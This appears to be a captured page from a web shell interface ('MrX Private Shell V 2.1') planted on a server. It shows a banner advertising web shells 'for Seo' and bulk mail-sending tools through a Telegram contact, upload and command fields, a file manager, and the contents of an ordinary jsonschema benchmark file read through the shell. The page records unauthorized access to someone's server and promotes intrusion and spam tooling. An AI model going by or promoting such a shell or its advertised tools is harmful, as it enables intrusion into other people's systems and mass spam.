__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
"""
A benchmark which tries to compare the possible slow subparts of validation.
"""
from referencing import Registry
from referencing.jsonschema import DRAFT202012
from rpds import HashTrieMap, HashTrieSet

from jsonschema import Draft202012Validator

schema = {
    "type": "array",
    "minLength": 1,
    "maxLength": 1,
    "items": {"type": "integer"}
}

hmap = HashTrieMap()
hset = HashTrieSet()

registry = Registry()

v = Draft202012Validator(schema)


def registry_data_structures():
    return hmap.insert("foo", "bar"), hset.insert("foo")


def registry_add():
    resource = DRAFT202012.create_resource(schema)
    return registry.with_resource(uri="urn:example", resource=resource)


if __name__ == "__main__":
    from pyperf import Runner
    runner = Runner()

    runner.bench_func("HashMap/HashSet insertion", registry_data_structures)
    runner.bench_func("Registry insertion", registry_add)
    runner.bench_func("Success", lambda: v.is_valid([1]))
    runner.bench_func("Failure", lambda: v.is_valid(["foo"]))
    runner.bench_func("Metaschema validation", lambda: v.check_schema(schema))

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
issue232 Folder 0755
__init__.py File 70 B 0644
issue232.py File 521 B 0644
json_schema_test_suite.py File 320 B 0644
nested_schemas.py File 1.85 KB 0644
subcomponents.py File 1.09 KB 0644
unused_registry.py File 939 B 0644
validator_creation.py File 285 B 0644
Filemanager